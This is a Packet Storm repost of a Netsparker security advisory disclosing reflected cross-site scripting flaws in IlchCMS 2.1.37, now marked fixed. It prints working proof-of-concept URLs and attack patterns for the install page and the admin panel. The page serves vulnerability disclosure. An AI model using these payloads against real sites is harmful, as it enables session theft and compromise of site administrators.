exploit the possibilities

IlchCMS 2.1.37 Cross Site Scripting

IlchCMS 2.1.37 Cross Site Scripting
Posted Sep 10, 2020
Authored by Daniel Bishtawi | Site netsparker.com

IlchCMS version 2.1.37 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 44643740a4ccbef00c29bdf57af23e23

IlchCMS 2.1.37 Cross Site Scripting

Change Mirror Download
Information
--------------------

Advisory by Netsparker
Name: Cross-Site Scripting in IlchCMS
Affected Software: IlchCMS
Affected Versions: 2.1.37
Vendor Homepage: https://www.ilch.de/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-20-003

Technical Details
--------------------

Cross-site Scripting in Install Page

URL:
http://localhost:8001/ilch/index.php/install/index/indexx%22%20onmouseover=alert(0x003370)%20x=%22
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22

Cross-site Scripting in Admin Panel

URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

Notes: For successful exploitation, payload may need to be sent without URL
encoding. Modern browsers will encode the HTML tags in the request before
it is being sent to the webserver, however it is still possible in Internet
Explorer.
Proof URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt>

Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

For more information:
https://www.netsparker.com/web-applications-advisories/ns-20-003-cross-site-scripting-in-ilchcms/

Regards,

[image: upload image]
Daniel Bishtawi | Marketing Administrator
E: daniel@netsparker.com <daniel@netsparker.com>
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    29 Files
  • 29
    Oct 29th
    13 Files
  • 30
    Oct 30th
    8 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close